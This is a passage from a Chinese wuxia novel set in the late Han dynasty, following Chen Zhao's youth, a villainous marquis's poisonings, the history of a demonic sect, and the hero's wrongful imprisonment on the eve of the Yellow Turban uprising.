陈逸与陈昭在山野一简陋草屋住下,虽是书香门第,但如今沦落乡野,生活还是要继续的,两人日出而作,日落而息,在朱震的帮忙下,总算垦出些许田地,又养了些禽畜,安定居住下来,一周之后,朱震启程前往青州。 【番外】育阳侯,曹节 洛阳宫廷、育阳侯曹节府邸,卧房之中: 曹节横躺在床上,左右尽是美女投怀,几个人汗流浃背,玩得好不快活。 突然,急风吹过,府门不敲自开,一老者不打招呼,自顾自的稳步走进,细看那人服饰,似乎是个乌桓人。 女眷大惊,忙拿起衣物遮羞,怒骂道:“你谁啊?”“知道这是哪儿吗?不想活了吗?”“哪里来的死老头,真是不知死活啊!” 老者双眸凌厉,似有寒气外漏,女眷们惶恐不已,不再多言。 曹节抬头扫了眼老头,竟立马穿好衣物,端正坐起。 老者不是外人,乃是魅影左使:鬼岐。 鬼岐徐徐说道:“鬼俈老弟,御守使大人可不是让你来这儿玩乐消遣的。” 曹节道:“鬼岐前辈,我知道,我在乌桓不也这样过嘛,有什么大惊小怪的。” “今时不同往日,你现在是育阳侯曹节,可不是什么乌桓地痞。” “知道知道。” “我可得提醒你,御守使大人现在就在中原,你可别火中取栗,自寻死路。” “放心,我有分寸!” “行吧,我要回乌桓了,这是我最后一次提醒你,好自为之吧。”话罢,老者拿起桌上美酒,一饮而尽,接着悄然离去。 老者走后,女眷们长舒一气,再次宽衣解带,端着美酒挑逗起曹节来。 “曹大人,那老头儿谁啊,竟敢对大人您出言不逊。” “是啊,他那么凶您,您怎么还放他走了啊,要不,我派侍卫去把他抓回来活剐了,给您消消气吧。” 曹节接过美酒,抱起女子,轻轻抚摸起女子脸庞:“活剐了他,为何啊?”曹节一边说着,一边喂美女喝酒。 女子喝完酒,说道:“上次那个叫冯述的屯骑校尉惹恼了您,您不就是把他给活剐了吗?” “有道理,那这种事儿,就交给你去办好了。” “好啊好啊,我最喜欢活剐人了。”女子笑着起身,但没走两步,便瘫倒在地,七窍流血而亡。 “来,她喝醉了,你陪我喝!”曹节狂笑着,拉来身边另一位女子,强行灌她喝下手中“美酒。” 同样的,酒过之后,没等多久,便又七窍流血,不省人事了。 剩下两名女子立马逃下床来,跪在地上,一个劲儿的磕头求饶,磕了许久,头破血流亦没能换到生机,曹节端起酒杯,强行给两人灌下,很快,剩下的两人也七窍流血,毒发生亡。 短短时间里,身边死了四位妙龄女子,曹节却旁若无人的吃起酒菜来,当然,这酒,是另一坛无毒的酒。 酒足饭饱后,曹节唤来下人。 “你们几个把房间清理了。” “是。” “哦,对了,这是什么菜?”曹节指着其中一盘肉菜,显得十分钟意。 “回禀曹大人,此乃龙葱山。” “何解?” “回禀大人,此菜乃是取之谷鹿的耳朵,可别小看这一盘,谷鹿的耳朵小,通常,可需要八、九只谷鹿,才够炒这一盘呢!” 曹节点点头:“还挺好吃的。” “那是,这谷鹿其肉身腥臭刺鼻,苦涩难咽,要不是耳朵肉质鲜美,根本就没人会费力去抓它,曹大人既然喜欢,我吩咐下厨多做些即是。” “等等,你的意思是说,杀七八只谷鹿,只够做一盘龙葱山,其他的肉,全部丢弃?” 府役并未多言,只是点了点头。 曹节放下碗筷,吐出刚吃的龙葱山:“这厨师未免太残忍了些,杀了!” 府役一脸懵逼,还以为听错了:“大人,你的意思是,要杀了那位厨师吗?” “我说得不够清楚吗,马上杀了他,你听着,以后谁也不准再做这道菜!谁做杀谁!” “是。” 后院之中,六个府役合力挖着土坑,旁边堆放着五具尸体,四女一男。 “这育阳侯反复无常,我看,我等也难逃一死。” “就是,短短一个月,已经死了十多个下人了,今天更是破天荒的杀掉皇帝赏赐的御厨,反了他了。” “这育阳侯也真是够荒唐的,厨子杀几只谷鹿便是残忍罪孽,他杀这么多人,怎么不说残忍罪孽!” “说起来,以前他只是对士族凶残,对我们这些下人还挺好的呀,为何最近跟变了个人似的,自己人都杀。” “天天杀人,这后院都快成坟地了。” “我看,咱们还是赶紧逃吧,再待下去,指不定哪天就该埋在这儿了。” “跑?你往哪儿跑?整个天下都在育阳侯手中,你能跑去哪儿?快点挖吧,若是育阳侯醒来发现咱们还在挖,那就真该埋咱了!” “是是是,快挖快挖。” 夜色之下,六人合力挖了个大坑,将五具尸体埋在后院中,后院很大,很宽敞,至少目前来说还很宽敞,不过,照此进度,两个月后可就难说了。 第十一章 缘起 又过了两周,朱震带了些青州的特产拜访陈逸: “昭儿,你去抓两条鱼来,咱们晚上吃鱼。” “好咧。”陈昭背起背篓,带上钢叉欢快的跑走。 朱震道:“普渡河可不浅,昭儿还小,没必要吧。” 陈逸道:“朱叔放心,这小子从小寄宿在他舅舅家,天天下洛川抓鱼抓虾,水性比你我都好,没事儿。” “对了,朱叔,可有打探到那两人的下落?” 朱震面色凝重,点了点头,叹息两声:“不是什么好消息啊!” “一个月前,官府大肆抓捕青翼派众” “何也?” “欲图社稷,密谋造反!” 陈逸静思片刻,双目泪下:“一定是司寇箫老前辈在益州救走了我,激怒了阉党,他们蓄意报复!” “没错,青翼派上下四百多教众,悉数被捕。” “杜菱、展平他们也被捕了?” “那倒没有,事发之时,两人并不在青州。” 陈逸道:“真是万幸,眼下没有消息,便是最好的消息。” 朱震摇了摇头:“事发之后第三日,有人暗中潜入官府大牢,将青翼派众悉数救出,除了司寇箫的遗女司寇晨,当时,司寇晨已被官府暗中押往雒阳。青翼派众为了救她,偷偷潜伏在官军后边,最终选在一处峡谷动手,青翼派众轻功高绝,朱姬带着司寇晨杀出重围后,朝伏蛇山撤去,白侠则带着青翼派众断后,打打停停,眼看就要安全撤退了,突然,又一伙江湖人马杀出,好像叫什么赤影帮,为首的叫什么张延、韦凌峰。” “张延带着赤影帮众,协助官兵,全力剿灭留下来断后的青翼派众,韦凌峰则孤身一人前往伏蛇山,追捕朱姬、司寇晨。” “最终,留下断后的青翼派全军覆没,逃走的两人亦被韦凌峰追上,司寇晨被捕,朱姬坠落山崖。” 陈逸怅然若失,满脸沮丧。 朱震叹息两声,再说道:“万幸,听说,赤影帮屠岸冥带队押送司寇晨,队伍行至璐县,不知何由被人救走了司寇晨,司寇箫在江湖上久负盛名,司寇晨许是被他的朋友救走了!” 陈逸点点头,面色稍缓:“如此甚好,若是能寻到司寇晨下落,将恩公的遗物交予她,也算是不负恩公遗愿。” 普渡河、浅滩之上,陈昭手持钢叉警惕的环顾着周围鱼群,小鱼游得太快,大鱼不往浅处游,拿着钢叉插了半天,楞是没抓到一条鱼,陈昭有些沮丧了,将钢叉放回背篓中,正要换个地方捕鱼,突然,一条大鱼从水中跳出,径直朝陈昭扑来,陈昭本能的伸出手,居然凭空抓住那条大鱼。 “抓到了,抓到了!”陈昭兴奋的叫嚷起来,将大鱼放入背篓中,正要取出钢叉,重新捕鱼时,抬头一看,不远处好像飘着一件衣服,细细一看,哪是件衣服啊,分明是个人! 陈昭来不及多想,跳入水中将那人救起。落水之人,是个小女孩,八岁左右,脑后有血痕,估计是撞上了河间巨石。 “醒醒,喂,醒醒啊,有人吗?这里有人落水了!有人吗?”陈昭一边摇着落水的女孩,一边向周围人求救。 然而,荒村野林,哪儿会有人响应。看来,眼下只能靠自己了,陈昭努力回忆起过往经验。忽然间,陈昭想起件往事,小时,自己也曾溺过水,是舅舅洛寻天将他救起。 “有救了!有救了!”陈昭想起了什么,将小女孩儿外套脱掉,接着自己一腿跪地一腿屈膝,将小女孩儿腹部置于屈膝的大腿上,使她头部下垂,然后拍打她的背部使其口咽部与气管内的水排出。 小女孩儿吐了很多水,但始终没有醒来,陈昭心急如焚,摇了摇头:“人命关天,顾不了这么多了。” 陈昭将小女孩儿仰卧放置,捏住她的鼻子,深吸一口气,嘴对嘴朝小女孩儿吹气,反复进行了许久,小女孩总算是醒了。 小女孩儿醒来正好看着陈昭再朝自己吹气,以为是在非礼自己,于是,一把将其推开:“流氓!” 见小女孩儿醒了,陈昭一脸欣喜,连忙解释道:“你终于醒了,哎,你别误会啊,我刚才是在救你。” 小女孩儿哪会轻易相信,张嘴便要再骂,但细看陈昭,小模样长得真东西!瞬间红了脸,竟害羞起来,低声问道:“你真的只是在救我吗?” “当然,我陈家四世三公,君子坦荡,岂会行龌龊之事。” 小女孩儿抿嘴一笑,鉴于陈昭美色,只一句誓言,便轻易相信了他:“那,谢谢你了,你叫什么名字啊。” “我叫陈昭。” “陈昭?我记住你了,以后,可不许欺负我啊!” “以后???”陈昭一脸疑惑。 那女孩一把拉住陈昭:“我娘说过了,除了父母,只有我相公能亲我,你刚才亲了我,所以,你就是我相公了,从今以后,我跟定你了,你可不许欺负我!” 事急从权,当时情况紧急,陈昭并未多想,现在想想,确实有些唐突,不过,出于救个人而已,不至于搭上后半生吧。 “姑娘,咱们只是萍水之谊,事急从权,刚才多有冒犯,还请姑娘不要介意,莫要再称呼相公了。” “陈昭,你这是什么意思,难不成是想赖账?敢做不敢当?还是说,你嫌弃我,觉得我丑!配不上你!” 陈昭连连摆手:“切莫误会,姑娘花容月貌,我哪会嫌弃姑娘,不过,咱们年纪还小,谈婚论嫁还早着呢!” “我懂相公的意思了,没关系,我可以等,你晚几年娶我好了。”小女孩早没了先前的娇羞样,一副图色到底的神态。 陈昭摆摆手解释道:“啊,不不不,你误会了,我不是这个意思。” “说到底,你就是嫌弃我。”女孩儿一边说着,一边再要跳河! 陈昭赶紧拉住女孩儿,急说道:“好好好,我答应你好吧,二十年内,若是你嫁不出去,咱们便结为夫妻,好吧” “二十年?这么久!” “不久,一眨眼就过去了!” 小女孩儿哪知道时间概念,立马答应下来:“好,我答应你,但你得给我个信物。” “信物?什么信物?” “当然是对你来说,最重要的东西,以后你若是敢反悔,这东西你就别想再拿回去了。” 陈昭若有所思,从衣袖中摸出一个手镯来:“这个给你吧。” 小女孩儿接下手镯,细细打量起来:“好漂亮的手镯啊。” “那是当然,这可是我爹送给我娘的信物,今天我把它送给你,咱们可说清楚了啊,二十年之后,若是你未成家,我自会娶你,若是你已成家,你可得把这手镯还我。” “好,一言为定,不过还得再加一条,若是二十年内,我未婚嫁,你却娶了别人,那这手镯,我可不还你。” “你放心,君子一言,驷马难追,只要你不先嫁人,我绝不会娶别人。对了,你叫什么名字啊?” 小女孩儿笑了笑,正要回答,却突然飞来一人,看着小女孩儿,微微一笑,接着,眼一闭,晕倒在两人面前。 陈昭看向那人,是个中年人,一身灰白道袍,嘴角渗出黑血来。 “大叔,你怎么了,醒醒啊,大叔。”女孩满眼焦急,拽着中年人衣角,摇了起来。 陈昭问道:“你认识他?” 女孩儿点点头:“求求你,救救他吧。” “好,你在这儿等我,我去叫人。” 陈昭料那中年人是中了毒,当下不敢迟疑,火急火燎跑回家,请陈逸、朱震过去救人,哪知,再到河边时,女孩儿与那中年人早已消失不见,只留下一滩乌黑血迹。 陈昭指着地上血迹大叫道:“这血一定是她们留下的,那个叔叔受了很严重的伤,你们快救救他吧。” 朱震摸了摸地上血迹,小心闻了闻,面色大变,赶紧在河边洗了洗手:“小昭,那些血里全是剧毒!你们最好离远点。” “刚才明明就在这儿,不会又掉到河里了吧。”陈昭一边说着,一边欲跳入河中寻找。 陈逸见状连忙拦住:“好了好了,平白无故的怎么会掉入河里,咱们到别处找找吧。” 几人找了大半天,除了河边的那摊黑血,楞是再没寻出半点踪迹,陈逸安慰道,估计是醒了自行离去了吧。陈昭自是不信,自顾自的找了许久,终是了无音讯。 日子重归平静,洛寻天留给陈昭一本《洛川刀诀》,每日清晨,陈昭便会早起练上许久,吃过早饭后会帮父亲干会儿农活,或者读些《汉书》、《诗》、《春秋》等经典名着,偶尔无聊也会偷偷翻看司寇箫遗留下来的书籍。包裹中有三件物品:一把钥匙、一本杂书、一个铁盒。陈昭推测,钥匙是用来打开铁盒子的,但因害怕损害物件,一直未敢尝试,而那本杂书,里面的内容光怪离奇,玄幻精绝,名曰《太平清领书》,陈昭无聊之时,常常翻阅,每每读起,只觉心旷神怡,豁然开朗。 第十二章 百年之前 日月辗转,时光飞逝,恍惚间,十三载悄然流过,陈昭化名昭相雪,重回洛阳,誓要洗清陈家冤屈,报洛家血仇! 当年,益州关隘被围时,曾有化境尊者帮助陈逸等人脱离险境,而当时中原武林,只有凌云谷叶述一人窥入化境,且那段时间,他正好退位让贤、云游四海,完全有可能出手帮助陈逸等人脱险。但叶述的年龄、修为皆与昭相雪描述的杀人凶手相似,只是,叶述一代宗师,不该会滥杀无辜,且并未听闻他与洛家有过仇怨,凶手应该不是他,不过,若是能找到叶述下落,或许他会知道当年杀害洛寻天的真凶。 两人再一分析,李御风与洛寻天少年时曾扮做游侠,戏耍过一群山匪,从他们手中盗取了大量财宝,山匪头领名叫郑坨,后来迁到冀州,据说更名换姓,成了富甲一方的豪绅,冀州太平道的崛起,亦有此人资助,太平道功法诡异,或许,那位商人念起旧仇,于是借助太平道功法杀害了洛寻天等人,但盗匪心狠手辣,没理由留下陈逸父子性命才对。 仔细想想,真凶应该也不是鬼俈的人,当年那位凶手的杀人目标是洛寻天与洛寻依,并没有杀陈逸父子,而鬼俈这些年派出了数万高手追杀陈逸父子,若那凶手是鬼俈的人,当年,必不会放过陈逸父子,要追查真凶,恐怕,还得查清,凶手所谓的血债,到底指的何事。 久论无果,实践出真知,两人分道扬镳,李御风追查叶述与关外魅影教行踪,昭相雪则加入太平道追查郑坨下落。 昭相雪再改了个称呼,化名昭言,卧底太平道三年,一路追查,后面确实有位大人物资助太平道发展,但并不是郑坨,所谓的郑坨,二十年前便被另一伙匪徒杀死,那伙匪徒杀死郑坨后,盗用了他的身份,在冀州经商,他们与太平道确实有关系,不过只是普普通通的信众罢了,顺藤摸瓜下,倒也不是一无所获,太平道背后,藏了个大人物…… 太平道,由张角所创,他因得到一位道士所传《太平经》,遂以传教救世为己任,利用一些宗教观念和社会政治思想,组织群众,约于灵帝建宁初传道。张角为总道长,号大贤良师。其二弟张宝为太平左使,三弟张梁为太平右使,。下设九大堂主,每个堂下又有四方渠帅,共计三十六方渠帅,这些年,太平道发展迅速,规模愈来愈大,如今已有几十万信众! 昭相雪因天资聪颖,且精通兵法,三年来平步青云,现如今,也成为了一方渠帅。 公元184年(甲子年),张角相约信众在3月5日用“苍天已死,黄天当立,岁在甲子,天下大吉”的口号兴兵反汉;“苍天”是指东汉,“黄天”指的就是太平道,而且根据五德始终说的推测,汉为火德,火生土,而土为黄色,所以众信徒都头绑黄巾为记号,象征要取代腐败的东汉。张角一面派人在政府机关门上写上“甲子”二字为记认,另一方面派马元义到荆州、扬州召集数万人到邺城准备,又数次到洛阳勾结宦官封胥、徐奉,想要里应外合。 可是在起义前一个月,张角一名叫做唐周的门徒告密,供出京师的内应马元义,马元义被车裂,官兵大力逮杀信奉太平道信徒,株连千余人,并且下令冀州追捕张角。由于事出突然,张角被迫提前一个月在二月发难,史称黄巾起义,因为起义者头绑黄巾,所以被称为“黄巾”或“蛾贼”,张角自称“天公将军”,张宝、张梁分别为“地公将军”、“人公将军”在北方冀州一带起事。他们烧毁官府、杀害吏士、四处劫掠,一个月内,全国七州二十八郡都发生战事,黄巾军势如破竹,州郡失守、吏士逃亡,震动京都。 随着战事的发展,各堂之间的联系愈加紧密,一次,金龙堂、白波堂、涧水堂三堂合议,昭相雪忽然看见一个老面孔——枯恂。 会议结束后: “枯兄,你不是应该在乌桓调查魅影教吗,怎么成了太平道的渠帅?” 枯恂笑了笑:“昭兄,谁说调查魅影教一定要去乌桓?” 昭相雪:“你的意思是,你加入太平道,也是为了调查魅影教?” “昭兄,凌云谷有规定,不可向外人泄露行踪,别问了。” “好啊你,当年,我在曹府探听的所有秘密可全都告诉了你们凌云谷,你现在跟我说,咱是外人?” “昭兄,我没这个意思,规矩就是规矩,我身为凌云弟子,必须遵守,你换个问题,我必知无不言。” 昭相雪话音一转:“好,我不为难你,那你就说说,你加入太平道后,都打探到了什么秘密吧。” 枯恂一脸尴尬:“你别钻字眼啊,你这不是和刚才的问题一样嘛。” “你们凌云谷的人,就爱故弄玄虚,有什么好遮掩的,太平道背后有魅影教暗自资助,牵头人,乃是魅影左使:鬼岐,是与不是?” 枯恂笑了笑,竖起了大拇指:“你这,知道得比我多啊!” 昭相雪:“你少来,你快把你知道的告诉我吧,我和李御风前辈是一起的,你们信不过我,难道,还信不过他吗?” “李大侠义薄云天,自然可信,三年前,在雒阳,他曾担保过你的人品,想来,你绝非歹人,咱们也不兜圈子了,说吧,你到底想知道些什么?” 昭相雪一脸真诚:“枯兄,我想知道,这魅影教,到底是何来历,为何,你们凌云谷的人各个谈之色变,江湖却听不到半点魅影教的传闻!” “昭相雪,这潭水可不浅,掉下去,轻易可起不来!” “放心吧枯兄,我水性好,淹不死。” 枯恂笑了笑:“我今天要说的话,你可千万别向外人提起,否则,祸乱无穷!” “知道知道,快说吧。” “江湖上,确实听不到半点魅影教的传闻,但万幻宗的故事,却已传了百多年了。” “万幻宗?百年前的魔教?!” “没错,有史以来,对中原武林危害最大的魔教!” 要说万幻宗,先讲八仙门,八仙门创自战国,自创立起,便被称为江湖第一正派,八仙门,派如其名,是将当时的八大门派聚在一起形成的全新门派,八门分别为:药门、暗器门、剑门、刀门、业门、技门、机械门、玄门。八门各有所长,各有所短,创立之后,八门便互相扶持,共同进步,全门上下的发展十分祥和,几百年来,一直维护着各方百姓的安危,一百四十一年前,张黎即位八仙门总门主,玄门门主黄弧与张黎不合,遂退出八仙门,迁往幽州,自立门户,更名:万幻宗。其后二十年,万幻宗一直遭受八仙门其余七门的打压,发展规模越来越小,日渐没落,直到新宗主,无冥继位。 一百二十一年前,无冥继位万幻宗宗主,在他的带领下,万幻宗彻底退出中原武林,搬往乌桓国境,之后,中原武林便再也没了他们的音讯。谁也没料到,只五年,无冥便将那个重压之下,几欲灭亡的宗派,打造成规模宏大、门徒众多的江湖大派! 永平11年,万幻宗重返幽州,一路南下,只两周时间,便灭掉了中原第一大派,门徒多达数万的八仙门!此后,无冥将万幻宗立于玄门发迹之地:琼剑山间,藐视群雄,自诩天下第一宗派!武林群雄自是不服,皆欲前往琼剑山与万幻宗一决生死。 为防止战局扩大,天下百姓受累,白马寺高僧摄摩腾与凌云谷谷主苍临大师两人相约前往琼剑山,与无冥一决生死! 据说,那场决战,打了三天三夜,最终,摄摩腾高僧和苍临大师以联合杀招击败了不可一世的无冥。根据约定,万幻宗将退出中原,永世不得侵犯中原武林。本以为武林浩劫可以就此平息了,然而,事与愿违,摄摩腾与苍临两人在归谷途中,十二名魔教高手突然杀出,联手攻击本就疲敝的苍临大师与摄摩腾高僧,因苍临大师在先前决战时,脚部受了伤,自知难以逃脱,索性死战,拼死帮助摄摩腾逃出重围。 苍临大师德高望重,在江湖上久负盛名,他的死,将中原各派团结起来。在白马寺、凌云谷、豫蛇教、剑阁、碧岐宗五大门派的牵引下,中原武林,数百个门派联合起来,将琼剑山围得水泄不通,号令一发,数万人杀上了琼剑山…… 如今,一百多年过去了,琼剑山早已废弃,满地的杂草、成群的荆棘,诉说着山野的荒芜,泥土下的叠叠锈剑、密林间的堆堆白骨,诉说着当年那场大战的惨烈。 当年,中原各派围攻魔教总坛琼剑山,魔教败亡,无冥战死。凌云谷的苍玄大师武功最高,威望最大,众人遂将魔教的妖物与功法全交由凌云谷处理,琼剑山上,苍玄大师用大火将魔教的妖物与功法全部烧毁,大火烧了三天三夜,唯有一个铁盒子水火不侵,难以销毁。据魔教的人说,盒中存放的,乃是魔头无冥最为诡异的功法《万幻影诀》,还有他的绝世法宝——一个陶瓷小葫芦。后来,苍玄大师将凌云谷迁自益州,群山之上,迷雾之间,避世隐居,并用北冥玄铁修筑了凌云秘阁,专门用来封禁那魔教妖物。同时,也将凌云谷一些不传神功或者目前修炼不了的功法统统存入秘阁之中。 前面说过,魅影教有位教主名叫狐鸢,而魔头无冥的儿子正好也叫狐鸢;百年前,苍临大师中了魔教奸计,七魂剑与《凌空剑决》就此丢失,魔教覆灭后,众人在琼剑山搜了许久,亦未能找出它们下落,时至今日,已然失踪了一百一十六年,如今,却在鬼岐手中现了身;同样的,鬼俈所施展的玄铁掌,正是百多年前,玄门的独家杀招,自琼剑山一役后,玄铁掌同样消失了百余年,如今,却在鬼俈手上现身,这一切的一切,未免太巧了些,完全有理由推测,这个所谓的魅影教,正是百年前,屠戮中原的万幻宗! 【番外】祸乱始矣(一) 馄饨摊位上,昭相雪点了小碗馄饨,狼吞虎咽起来。 兖州的馄饨,卖相不是很精美,吃起来,还挺好吃的。 没小会儿,便吃完了,汤都没剩下,昭相雪掏出钱袋,正要付钱,突然一个小混混经过,一把抢走昭相雪钱袋,接着,撒腿就跑,如风过一般,昭相雪缓过神来时,贼早已跑了十多米了,且专往人群里窜。 小混混腿脚利索,又熟悉地形,眼看就要跑没影儿了,这时,天公作美,一队官兵经过,小混混跑得太快,一时没刹住车,直接撞了上去。 为首伍长一眼认出了小混混:“歪嘴张,你还敢来这儿!” 小混混见了伍长,大惊,立马跪在地上,将抢来的钱袋交给了他:“大爷饶命啊,小的知错了,这些钱是我孝敬你们的,求大爷们饶小的一条生路吧。” 伍长接过钱袋,将里面的黄金尽数倒出。 “金子?!够意思!滚吧!”伍长笑了笑,一脚踢开混混。 这时,昭相雪快步跑来,见兵长手中拿着自己钱袋,笑了笑:“谢谢大哥,帮我追回钱袋。”话罢伸手去拿钱袋。 伍长见状大怒,反手抓住昭相雪:“活得不耐烦了?我的钱你也敢抢?” 昭相雪解释道:“误会啊,大哥,这个钱袋,乃是那个小混混从我这儿偷走的啊,这钱,确实是我的啊。” 伍长道:“什么小混混,这钱,既然在我的手中,那就是我的钱,知道吗!”话罢,一把推开昭相雪。 昭相雪大怒:“汝既为兵长,不思护民,反勾结地痞,侵吞百姓财物,不觉耻乎!” “笑话,没有我们在关外血战,你们能安心生活吗?拿你点儿钱财,是你荣幸!”兵长态度极其嚣张,冷哼两声,扬长而去。 昭相雪哪儿受过这等欺辱,正要动手,一队巡逻官兵恰巧路过,淦,好汉不跟狗斗,且吃了这眼前亏吧。不知不觉,已是半夜,只觉腹中饥饿,身无分文的昭相雪只好出城寻些野果填填肚子,但走了许久,果树确实是见过不少,但树上果实早已被洗劫一空,再走了两里,实在是饿得受不了,晕倒在路旁。 再醒时,已是次日午时,此时的昭相雪竟意外的躺在一处农庄里。 昭相雪翻身下床,旁边柜台上,放着一碗菜粥,饿得前胸贴后背的昭相雪毫不犹豫,端起菜粥,两三下便喝完了。 缓缓神,慢慢走出屋,只见一农妇静坐院中打麻。 “大姐,是你救了我吗?” 农妇闻声抬头,看着昭相雪笑了笑:“举手之劳而已,这山里啊,有野狼,不安全!” 细看农妇,二十多岁,虽粗布麻衣着身,但五官端正,倒不失为一位美人。 昭相雪作揖道:“谢谢大姐。” “不必客气,小兄弟,怎么称呼啊?” “在下冀州人士——昭相雪,你叫我小昭就好了,大姐怎么称呼?” “戚婷,你叫我婷姐好了,说起来,你怎么会晕倒在路边啊?” 昭相雪尴尬一笑:“实不相瞒,我是饿的……”昭相雪将前因后果告诉了她。 戚婷大怒:“岂有此理,他们这般作恶,分明是在败坏朝廷名声!败坏军人名声!” 昭相雪一脸诧异的看着戚婷,没料到她的反应,竟比自己还激动! 戚婷解释道:“实不相瞒,我丈夫便是一名军人,现在正镇守关外呢!” 昭相雪点点头,原来如此。 戚婷提起自己丈夫,满脸自豪:“我丈夫可与他们那群鼠辈不同,他是一名顶天立地,堂堂正正的汉族男儿,绝不会像他们一样欺压百姓的!” “这么说来,你现在肯定很饿吧,你坐会儿,我去给你下碗面吧。”农妇说着便站起身来。 “大姐,不用麻烦了,我不饿。”嘴上这样说着,肚子却没脾气的咕咕大叫。 戚婷笑了笑:“不麻烦的,等着。”话罢,走进厨房。 “大姐,那我帮你生火吧!” “好啊。” 片刻后,大碗宽面煮好,昭相雪客气道谢后,狼吞虎咽起来,很快便吃完,洗过碗筷后,昭相雪向戚婷道谢离去。 “小兄弟,你身无分文,能去哪儿啊。”戚婷一边说着一边给了些碎银。 “拿着,我家也不富裕,省着点儿用哈。” “大姐,这怎么好意思,你能让我饱餐一顿,我已经很感激了,怎好意思再收下你的血汗钱。”昭相雪推辞道,拒不接受。 戚婷将钱袋强行塞进昭相雪衣袋中:“拿着!这钱又不多,对我来说,算不了什么,但却能解你燃眉之急啊。” 昭相雪顿了片刻,犟不过戚婷,只好收下,当下十分感激,恭恭敬敬的作揖道:“婷姐,你人真好,大恩大德,无以为报,请受我一拜。” 昭相雪正要跪拜,戚婷一把扶起:“什么大恩啊,小钱而已,时辰不早了,你再不动身,可就找不到落脚处了。” 昭相雪点点头,与戚婷道别后,重新上了路。 路过一茶庄,店家乐善好施,免费为过往行人提供茶水,昭相雪正好口渴劳累,便讨了杯茶,停下来,休息片刻。 这时,十几个官兵押着六个男子经过,也讨了些茶水,停下来休息。 闲来没事儿,兵长跟行人闲聊起来。 “那位兄弟,看你的样子,不像本地人啊,哪儿的人啊?” “我是本地的啊,谭鱼湾的。” 兵长点点头,又问道另一位行人:“喂,小兄弟,你是哪儿人啊?” “我是锭山的” “本地的?” “对啊。” 兵长微微一笑,继续扫视着其他行人。 “小兄弟,你也是司州本地人吧,哪个村的啊?”兵长突然问道昭相雪。 昭相雪摇摇头。 兵长瞬间两眼放光:“哪儿的人啊?预备去往何处啊?” “在下冀州人士,来此地寻亲的。” “冀州的啊。”兵长听了这话,冷冷一笑,朝身边士兵使了个眼色,两名士兵立马放下茶,走过去,缴了昭相雪的刀,将他反手抓住。 “官爷,你们为何抓我,我犯了什么罪?” 兵长拿着一副画像,仔细比对着:“大盗朴啸天,我找你找得好辛苦啊,带走!” “冤枉啊,我跟本不是什么朴啸天,我叫昭相雪,昭相雪啊,你们认错人了。” “还敢狡辩,你和画像上的朴啸天长得一摸一样,岂会有错!” “怎么可能呢,你把画像给我看看!” 兵长并不理会,收起画像,用粗麻布堵住昭相雪的嘴,押着他离去。 一路上,又抓了两个外地人,夜晚时分,来到一处营寨,将所抓之人,尽数关在一处大牢里, 大牢环境极差,又臭又脏,人还多,密密麻麻关了近百号人! 昭相雪在牢门处大喊:“放我出去!放我出去!” 这时,一名伯长拔刀走来:“谁在这儿大呼小叫啊!” “官爷,冤枉啊,我不是朴啸天,我是被误抓的、清白的啊!我不是大盗,也没犯过法,官爷,你行行好,放我出去吧,官爷” “我管你是不是清白的,只要进了这间牢,就只有一个身份!” “什么身份?” “刑徒,为期十年,十年期满,自然会放你了。” 昭相雪大惊:“刑徒?!”(刑徒:犯人判罪后,被罚从事苦役。) 伯长冷冷一笑,转身离去,走了没两步,一个小兵走过来跟他搭话。 伯长道:“怎么样,那个寡妇没起疑心吧。” “没有,大哥,你真应该跟我一起去的,你是不知道,那个寡妇长得有多俏!胡武真是好福气啊,娶了个这么俏丽的媳妇,生前,肯定天天爽着!” 伯长不屑一笑:“有这么夸张吗?一个山野农妇,能有多俏?” “大哥,你是不知道,那寡妇的皮肤,细嫩得很,摸起来,滑得不得了!” “听你这语气,你把她办了?” “当然,嘴边的肥肉,岂能浪费!” 伯长大笑:“好小子,私吞死人钱也就罢了,连死人妻你都不放过,你小心胡老弟晚上回来找你!” 小兵听了此话,打了个寒颤:“大哥,大晚上的,你可别吓我啊。” “哈哈,真是胆小,明天带我去见见,我倒要看看,那个小寡妇有多水灵!” “好,明天早上就去。” “瞧你这贱像,咱是没见过美女还是咋的!” 那小兵一脸淫笑道:“这不是去的早,玩得久嘛。” 伯长也跟着淫笑起来。 两人走远后,昭相雪叹息道:“哎,兵皆若此,国将焉存!祸乱始矣!祸乱始矣!” 听闻昭相雪叹息,一中年人却在后面大笑起来…… 【番外】祸乱始矣(二) 昭相雪回头问道:“这位大叔,你笑什么?” “我笑你软弱!” “我软弱?” “可不是嘛,从你进牢笼起,不是一个劲儿的替自己喊冤,便是一个劲儿的叹息百姓疾苦,我问你,喊冤有用吗?叹息有用吗?” 昭相雪细思片刻,摇了摇头。 中年人冷冷一笑:“你在诬陷你的人面前喊冤,你觉得,他会替你伸冤吗?同理,你在压榨百姓的人面前叫苦,你觉得,他会替你解苦吗?” 昭相雪叹息几声,不再多言,他又何尝不知喊冤无用,但除了喊冤,他还能干嘛? “在下钜鹿人士——马元义,敢问阁下大名。” 昭相雪一听其名,立马知其身份:太平道白波堂主:马元义! “在下冀州人士——昭言。” 马元义道:“刚才听昭兄说,祸乱始矣,何祸啊?” “汉朝传至今时,已有三百多年了,好日子过久了,皇帝有些飘飘然了。如今的皇帝,巧立各种名目,只为搜刮百姓钱财,为了自己享乐,甚至卖官鬻爵!完全不管咱们百姓的生死,这两年,又恰逢大旱,赤地千里,路皆饿莩,朝廷不思赈灾、减税!竟还大征徭役新修宫廷,岂不荒唐!岂不谬哉!” 昭相雪叹息几声,朝廷有多昏庸,百姓只知皮毛,但他却知道十分之七,太傅陈蕃,忠君爱国,最后,却落得个诛灭全族的下场,可笑,可悲! “如今,北方乌桓虎视眈眈,鲜卑寇掠幽、并二州,西凉军阀匪寇林立,交趾人梁龙与乌浒蛮人作乱一方,攻破多个郡县,祸乱始矣,君却不察,唉,乱了乱了,全乱了!” 马元义道:“依你之见,当若何?” “依我之见,当四策并施。” “哪四策?” “一策,赤地千里,可将新征兵卒派去屯田,练军种地两不误。” “二策,派使者于鲜卑,许于财物、布匹,与其讲和乃至结盟,共伐乌桓,使鲜卑牵制乌桓,亦使乌桓牵制鲜卑。” “三策,发精兵猛将于交趾,梁龙乌合之众耳,两军相交,必不能敌,待敌撤至郡县防守时,率大军包围郡县,围而不攻,叛军皆为平民,大都有妻有子,久困城中,必无战心,这时,撤去一角,叛军必从那角倾巢而出,届时,在那角设伏,贼必降之。” 